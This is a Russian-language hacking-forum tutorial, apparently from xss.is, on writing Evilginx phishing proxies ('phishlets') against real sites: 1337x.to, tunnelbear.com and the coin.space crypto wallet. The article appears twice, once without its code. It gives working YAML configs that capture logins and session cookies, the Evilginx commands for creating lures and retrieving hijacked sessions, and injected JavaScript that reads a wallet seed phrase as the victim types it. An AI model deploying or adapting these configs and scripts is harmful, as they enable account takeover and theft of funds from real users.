D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: miserylord
Эксклюзивно для форума: xss.is
И снова здравствуйте, любители цифровых шалостей, на связи miserylord!
В предыдущей статье я разобрал тему фишинговых сайтов, привел пример фишингового сайта первого поколения на Golang, объяснил, что такое атака "человек посередине" (man-in-the-middle), а также рассказал, что представляет собой Evilginx и как его настроить на сервере. Ознакомиться со статьей можно по ссылке.
Сегодня мы погрузимся в практическое написание фишлетов, выберем несколько сайтов и рассмотрим процесс написания таких проектов. Поехали!
Для работы нам понадобится Evilginx. Также потребуется отдельный профиль браузера, я буду использовать Google Chrome. Обратите внимание, что при каждом перезапуске фишлета и проверке необходимо очищать данные браузера — кеш и куки.
Поскольку данные, которые мы хотим перехватывать, могут находиться как в локальном хранилище, так и в куках, нам понадобится расширение для работы с этими данными. Такие расширения часто исчезают из магазинов приложений, поэтому, если то, что я предлагаю, недоступно, необходимо найти аналог. Я буду использовать Storage Ace — оно позволяет работать сразу со всеми необходимыми данными. Дополнительно для работы с куки-файлами я буду использовать EditThisCookie.
Для первого проекта выберем несложную цель — торрент-трекер 1337x.to.
В приложении Storage Ace смотрим, что мы получили — куки или токен сессии. На этом сайте данные сохраняются в куках. Мы видим куки с именами uid и pass. Экспортируем куки и импортируем их в другой профиль — и оказываемся в аккаунте. То, что нужно! Пробуем удалить одну из двух кук и понимаем, что для того чтобы оставаться в аккаунте, нужны обе куки.
Возвращаемся к запросам — нужно найти запрос, в ходе которого мы получили эти куки. Это запрос на Login as Member | 1337x. Обращаем внимание на Content-Type — в данном случае это application/x-www-form-urlencoded. Потоки работы для написания фишлетов для разных типов Content-Type могут немного отличаться. Во вкладке Payload видим наш логин и пароль, сохраняем его для дальнейшей работы. Во вкладке Cookies видим полученные куки.
Создаем файл 1337x.yaml.
```
YAML: Скопировать в буфер обмена
Указываем минимальную версию, с которой будет работать Evilginx. Этот параметр не слишком важен, сейчас актуальная версия — третья, поэтому указываем "3".
В proxy_hosts указываем домен, который необходимо проксировать. Поскольку поддоменов нет, поля orig_sub и phish_sub оставляем пустыми. Параметр session указан как true, хотя в данном случае его можно было бы поставить в false. Session — это такие куки, которые являются сессионными. Чтобы понять, что куки сессионные, изучите их в приложении EditThisCookie — для сессионных кук будет установлена галочка на параметре Session, а также у них не будет даты истечения срока (expiration date), либо она будет указана на текущее время. В данном случае куки у нас не сессионные, но с этого домена мы всё равно получаем нужные куки. Документация Evilginx на этом моменте немного размыта, однако оставляем true, как минимум потому, что это работает (также будет работать и с false). Параметр is_landing устанавливаем в true для первого домена, который увидит пользователь. В нашем случае домен только один, поэтому оставляем true. Параметр auto_filter — это техническая опция, её также оставляем в true.
В параметре auth_tokens указываем домен, с которого приходят куки. Эту информацию берём из расширения EditThisCookie. Ключи также берём оттуда и указываем массивом через запятую, поскольку хотим перехватывать несколько кук одновременно. Также указываем тип куки.
В разделе credentials помещаем информацию из ранее сохранённого Payload — ключи username и password, которые передаются в POST-запросе (указываем тип запроса). Параметр search ставим в значение регулярного выражения — '(.*)'.
В разделе login указываем информацию со страницы, где происходит аутентификация.
Запускаем Evilginx:
Возьмем задачу посложнее: сайт VPN-сервиса tunnelbear.com. Создаем аккаунт, анализируем ответы и переходим к написанию фишлета.
YAML: Скопировать в буфер обмена
В этот раз количество значений в phish_sub стало больше. В целом в phish_sub следует добавлять все адреса, которые вы видите на этапе анализа трафика, то есть все поддомены, к которым было обращение. Я заметил обращения к www, а также к двум поддоменам API, которые и добавил в конфиг.
Проанализировав все куки, стало ясно, что нужно захватывать две основные: TB_SESSION и PLAY_SESSION. Их указываем в параметре auth_tokens.
Теперь посмотрим на запрос, в котором передаются данные для аутентификации. Видим, что тип контента на этот раз отличается — мы имеем дело с application/json. В таком случае в разделе credentials параметр key всегда остаётся пустым, в параметре search используется регулярное выражение, а в параметре type указываем json.
Логин осуществляется по адресу /account/login, это указываем в конфиге.
Проверяем — и успешно перехватываем данные. Один момент, на который стоит обратить внимание: по каким-то неизвестным причинам Evilginx решает кодировать символ & в \u0026. Из-за этого, если взять куки и импортировать их в браузер, ничего не произойдет. Будьте внимательны с этим — чтобы всё работало, замените \u0026 на &.
Во время работы над следующим фишлетом моя идея перехвата данных потерпела крах, и я понял, что, к сожалению, её реализация оказалась вовсе не тривиальной. На данный момент единственным решением мне видится более глубокое изучение исходного кода ивелджинкса и его адаптация под текущие или будущие задачи. Давайте перейдём к делу. Сайт с которым работаем - coin.space.
На этом этапе мне пришла в голову простая, но удивительная идея: перехватывать сид-фразу. Ведь зачем нам куки, если есть сидка? Стоит отметить, что таким же образом можно перехватывать любые другие вводимые данные, в том числе пин код сайта.
В целом фишлет может выглядеть примерно так:
YAML: Скопировать в буфер обмена
В фреймворке есть параметр js_inject, который позволяет подгружать любой JavaScript код на страницу фишлета. На остальные параметры прошу не обращать внимания, так как цель перехватывать данные передо мной не стояла, и этот сайт аналогичен предыдущему примеру.
Логика в том, что пользователь вводит сид-фразу, и ему отображается пинкод. Происходит "магия", но URL не меняется, запросов не идёт, и непонятно, что происходит. Это словно некий "вандерленд". Форма ввода остаётся формой, и к ней можно обратиться как к переменной. Однако особенность заключается в том, что при загрузке страницы этой формы нет (изучите сайт подробнее, если этот момент неясен). То есть мы не можем захватить её в переменную, так как её не существует, и получим ошибку. Нам нужно проверять, перешёл ли пользователь на страницу с формой, чтобы повесить на неё событие. URL не меняется, потому что приложение написано на современном фреймворке. Насколько я понимаю, раньше приложения загружались с сервера, потом это стало считаться медленным и неудобным, и появились клиентские приложения. Сервер отдает весь клиентский код сразу, за счёт чего достигается псевдоскорость. Однако, насколько мне известно, сейчас индустрия вернулась к более гибким решениям, и, например, метафреймворки для React предлагают разные конфигурации для каждого компонента. Это интересная тема, но суть в том, что клиент уже получил весь код, и смена URL не происходит. Поэтому в JS-коде я добавил `setInterval`, который запускает функцию `checkButton` каждые 500 миллисекунд. Мы ищем кнопку и добавляем на неё событие. `if (button)` проверяет, существует ли элемент, и на начальной странице это утверждение ложно, так как кнопки нет в коде. Но когда пользователь нажимает "Войти в веб-кошелёк", она появляется (запрос не происходит, так как весь контент уже загружен клиентом), и в этот момент мы отключаем `setInterval`. Далее пользователь вводит сидку и нажимает кнопку "Далее". На эту кнопку мы добавляем событие, и при нажатии выводим сидку в консоль (`console.log`), где её и видим. Но как нам её перехватить?
Дело в том, что фреймворк работает как перехватчик. Первое, что я сделал, — сохранил её как куки. Проблема в том, что это происходит локально. Сохранение в `localStorage` тоже не решает проблему. Единственный вариант — отправлять данные на другой сервер, но, насколько я понял, такая отправка будет идти от имени фишингового (который фишится) сайта, что нарушит политику CSP. Таким образом, сохранить куку с сидкой и передать её ивелджинксу не представляется возможным, так как она не фигурирует в запросах. Либо нужно форсировать её отправку в запросе и перехватить оттуда. Ивелджинкс перехватывает данные только между запросами.
В этой статье я не рассматривал более сложные способы обхода современных защит, встречающихся на мощных сайтах. Суть сводится к перехвату JavaScript. Это очень интересная тема.
Мне приснился сон, где в одном из вайбер-каналов был опубликован слитый курс автора проекта. Рекомендую найти его и ознакомиться. Спасибо ЖК "Кабуд Строй"!
Вероятно, я разберу несколько более сложных примеров в заключительной части серии статей про "man-in-the-middle" атаки, но на этом этапе всё. Тема очень интересная, думаю, ещё увидимся!
Эксклюзивно для форума: xss.is
И снова здравствуйте, любители цифровых шалостей, на связи miserylord!
В предыдущей статье я разобрал тему фишинговых сайтов, привел пример фишингового сайта первого поколения на Golang, объяснил, что такое атака "человек посередине" (man-in-the-middle), а также рассказал, что представляет собой Evilginx и как его настроить на сервере. Ознакомиться со статьей можно по ссылке.
Сегодня мы погрузимся в практическое написание фишлетов, выберем несколько сайтов и рассмотрим процесс написания таких проектов. Поехали!
Подготовка
Для работы нам понадобится Evilginx. Также потребуется отдельный профиль браузера, я буду использовать Google Chrome. Обратите внимание, что при каждом перезапуске фишлета и проверке необходимо очищать данные браузера — кеш и куки.
Поскольку данные, которые мы хотим перехватывать, могут находиться как в локальном хранилище, так и в куках, нам понадобится расширение для работы с этими данными. Такие расширения часто исчезают из магазинов приложений, поэтому, если то, что я предлагаю, недоступно, необходимо найти аналог. Я буду использовать Storage Ace — оно позволяет работать сразу со всеми необходимыми данными. Дополнительно для работы с куки-файлами я буду использовать EditThisCookie.
1337x.to
Для первого проекта выберем несложную цель — торрент-трекер 1337x.to.
- Зарегистрируем аккаунт (для этого удобно использовать временную почту).
- После этого очищаем все данные браузера и переходим на страницу логина.
- Открываем панель разработчика в Google Chrome и переходим на вкладку Network, активируем функцию Preserve log, чтобы вся история запросов не сбрасывалась при редиректах. Входим в аккаунт.
В приложении Storage Ace смотрим, что мы получили — куки или токен сессии. На этом сайте данные сохраняются в куках. Мы видим куки с именами uid и pass. Экспортируем куки и импортируем их в другой профиль — и оказываемся в аккаунте. То, что нужно! Пробуем удалить одну из двух кук и понимаем, что для того чтобы оставаться в аккаунте, нужны обе куки.
Возвращаемся к запросам — нужно найти запрос, в ходе которого мы получили эти куки. Это запрос на Login as Member | 1337x. Обращаем внимание на Content-Type — в данном случае это application/x-www-form-urlencoded. Потоки работы для написания фишлетов для разных типов Content-Type могут немного отличаться. Во вкладке Payload видим наш логин и пароль, сохраняем его для дальнейшей работы. Во вкладке Cookies видим полученные куки.
Создаем файл 1337x.yaml.
```
YAML: Скопировать в буфер обмена
Код:
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: '1337x.to', session: true, is_landing: true, auto_filter: true}
auth_tokens:
- domain: '1337x.to'
keys: ['uid','pass']
type: 'cookie'
credentials:
username:
key: 'username'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: '1337x.to'
path: '/login'
Указываем минимальную версию, с которой будет работать Evilginx. Этот параметр не слишком важен, сейчас актуальная версия — третья, поэтому указываем "3".
В proxy_hosts указываем домен, который необходимо проксировать. Поскольку поддоменов нет, поля orig_sub и phish_sub оставляем пустыми. Параметр session указан как true, хотя в данном случае его можно было бы поставить в false. Session — это такие куки, которые являются сессионными. Чтобы понять, что куки сессионные, изучите их в приложении EditThisCookie — для сессионных кук будет установлена галочка на параметре Session, а также у них не будет даты истечения срока (expiration date), либо она будет указана на текущее время. В данном случае куки у нас не сессионные, но с этого домена мы всё равно получаем нужные куки. Документация Evilginx на этом моменте немного размыта, однако оставляем true, как минимум потому, что это работает (также будет работать и с false). Параметр is_landing устанавливаем в true для первого домена, который увидит пользователь. В нашем случае домен только один, поэтому оставляем true. Параметр auto_filter — это техническая опция, её также оставляем в true.
В параметре auth_tokens указываем домен, с которого приходят куки. Эту информацию берём из расширения EditThisCookie. Ключи также берём оттуда и указываем массивом через запятую, поскольку хотим перехватывать несколько кук одновременно. Также указываем тип куки.
В разделе credentials помещаем информацию из ранее сохранённого Payload — ключи username и password, которые передаются в POST-запросе (указываем тип запроса). Параметр search ставим в значение регулярного выражения — '(.*)'.
В разделе login указываем информацию со страницы, где происходит аутентификация.
Запускаем Evilginx:
- config domain fake.com — конфигурируем глобальный домен.
- phishlets hostname 1337x 1337x.fake.com — конфигурируем домен для фишлета.
- phishlets get-hosts 1337x — получаем хосты (для локальной разработки на Windows их нужно сохранить в файл hosts).
- phishlets enable 1337x — запускаем фишлет.
- lures create 1337x — создаём лур.
- lures get-url 8 — получаем ссылку.
- Очищаем данные браузера и заходим в аккаунт. Видим лог успешного перехвата всех данных.
- sessions 12 — получаем сессию.
tunnelbear.com
Возьмем задачу посложнее: сайт VPN-сервиса tunnelbear.com. Создаем аккаунт, анализируем ответы и переходим к написанию фишлета.
YAML: Скопировать в буфер обмена
Код:
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'tunnelbear.com', session: true, is_landing: true, auto_filter: true}
- {phish_sub: 'prod-api-dashboard', orig_sub: 'prod-api-dashboard', domain: 'tunnelbear.com', session: true, is_landing: false, auto_filter: true}
- {phish_sub: 'www', orig_sub: 'www', domain: 'tunnelbear.com', session: true, is_landing: false, auto_filter: true}
- {phish_sub: 'prod-api-core', orig_sub: 'prod-api-core', domain: 'tunnelbear.com', session: true, is_landing: false, auto_filter: true}
auth_tokens:
- domain: '.tunnelbear.com'
keys: ['TB_SESSION','PLAY_SESSION']
type: 'cookie'
credentials:
username:
key: ''
search: '"username":"([^"]*)'
type: 'json'
password:
key: ''
search: '"password":"([^"]*)'
type: 'json'
login:
domain: 'tunnelbear.com'
path: '/account/login'
В этот раз количество значений в phish_sub стало больше. В целом в phish_sub следует добавлять все адреса, которые вы видите на этапе анализа трафика, то есть все поддомены, к которым было обращение. Я заметил обращения к www, а также к двум поддоменам API, которые и добавил в конфиг.
Проанализировав все куки, стало ясно, что нужно захватывать две основные: TB_SESSION и PLAY_SESSION. Их указываем в параметре auth_tokens.
Теперь посмотрим на запрос, в котором передаются данные для аутентификации. Видим, что тип контента на этот раз отличается — мы имеем дело с application/json. В таком случае в разделе credentials параметр key всегда остаётся пустым, в параметре search используется регулярное выражение, а в параметре type указываем json.
Логин осуществляется по адресу /account/login, это указываем в конфиге.
Проверяем — и успешно перехватываем данные. Один момент, на который стоит обратить внимание: по каким-то неизвестным причинам Evilginx решает кодировать символ & в \u0026. Из-за этого, если взять куки и импортировать их в браузер, ничего не произойдет. Будьте внимательны с этим — чтобы всё работало, замените \u0026 на &.
Глупый, глупый ивелджинкс, или я?
Во время работы над следующим фишлетом моя идея перехвата данных потерпела крах, и я понял, что, к сожалению, её реализация оказалась вовсе не тривиальной. На данный момент единственным решением мне видится более глубокое изучение исходного кода ивелджинкса и его адаптация под текущие или будущие задачи. Давайте перейдём к делу. Сайт с которым работаем - coin.space.
На этом этапе мне пришла в голову простая, но удивительная идея: перехватывать сид-фразу. Ведь зачем нам куки, если есть сидка? Стоит отметить, что таким же образом можно перехватывать любые другие вводимые данные, в том числе пин код сайта.
В целом фишлет может выглядеть примерно так:
YAML: Скопировать в буфер обмена
Код:
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'coin.space', session: false, is_landing: true, auto_filter: true}
auth_tokens:
- domain: '.coin.space'
keys: ['textareaValue']
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'coin.space'
path: '/wallet/'
js_inject:
- trigger_domains: ["coin.space"]
trigger_paths: ["/wallet/"]
script: |
function checkButton() {
const button = document.querySelector("#app > div > div > div > div > div.auth-step-layout__content > div.cs-button-group.cs-passphrase__buttons > button.cs-button.cs-button--primary");
if (button) {
clearInterval(intervalId);
button.addEventListener("click", () => {
const textareaValue = document.querySelector("#app > div > div > div > div > div.auth-step-layout__content > div.cs-passphrase__container > div > div > label > div.cs-form-element__wrapper > div > textarea").value;
console.log(textareaValue);
});
}
}
const intervalId = setInterval(checkButton, 500);
В фреймворке есть параметр js_inject, который позволяет подгружать любой JavaScript код на страницу фишлета. На остальные параметры прошу не обращать внимания, так как цель перехватывать данные передо мной не стояла, и этот сайт аналогичен предыдущему примеру.
Логика в том, что пользователь вводит сид-фразу, и ему отображается пинкод. Происходит "магия", но URL не меняется, запросов не идёт, и непонятно, что происходит. Это словно некий "вандерленд". Форма ввода остаётся формой, и к ней можно обратиться как к переменной. Однако особенность заключается в том, что при загрузке страницы этой формы нет (изучите сайт подробнее, если этот момент неясен). То есть мы не можем захватить её в переменную, так как её не существует, и получим ошибку. Нам нужно проверять, перешёл ли пользователь на страницу с формой, чтобы повесить на неё событие. URL не меняется, потому что приложение написано на современном фреймворке. Насколько я понимаю, раньше приложения загружались с сервера, потом это стало считаться медленным и неудобным, и появились клиентские приложения. Сервер отдает весь клиентский код сразу, за счёт чего достигается псевдоскорость. Однако, насколько мне известно, сейчас индустрия вернулась к более гибким решениям, и, например, метафреймворки для React предлагают разные конфигурации для каждого компонента. Это интересная тема, но суть в том, что клиент уже получил весь код, и смена URL не происходит. Поэтому в JS-коде я добавил `setInterval`, который запускает функцию `checkButton` каждые 500 миллисекунд. Мы ищем кнопку и добавляем на неё событие. `if (button)` проверяет, существует ли элемент, и на начальной странице это утверждение ложно, так как кнопки нет в коде. Но когда пользователь нажимает "Войти в веб-кошелёк", она появляется (запрос не происходит, так как весь контент уже загружен клиентом), и в этот момент мы отключаем `setInterval`. Далее пользователь вводит сидку и нажимает кнопку "Далее". На эту кнопку мы добавляем событие, и при нажатии выводим сидку в консоль (`console.log`), где её и видим. Но как нам её перехватить?
Дело в том, что фреймворк работает как перехватчик. Первое, что я сделал, — сохранил её как куки. Проблема в том, что это происходит локально. Сохранение в `localStorage` тоже не решает проблему. Единственный вариант — отправлять данные на другой сервер, но, насколько я понял, такая отправка будет идти от имени фишингового (который фишится) сайта, что нарушит политику CSP. Таким образом, сохранить куку с сидкой и передать её ивелджинксу не представляется возможным, так как она не фигурирует в запросах. Либо нужно форсировать её отправку в запросе и перехватить оттуда. Ивелджинкс перехватывает данные только между запросами.
Итоги
В этой статье я не рассматривал более сложные способы обхода современных защит, встречающихся на мощных сайтах. Суть сводится к перехвату JavaScript. Это очень интересная тема.
Мне приснился сон, где в одном из вайбер-каналов был опубликован слитый курс автора проекта. Рекомендую найти его и ознакомиться. Спасибо ЖК "Кабуд Строй"!
Вероятно, я разберу несколько более сложных примеров в заключительной части серии статей про "man-in-the-middle" атаки, но на этом этапе всё. Тема очень интересная, думаю, ещё увидимся!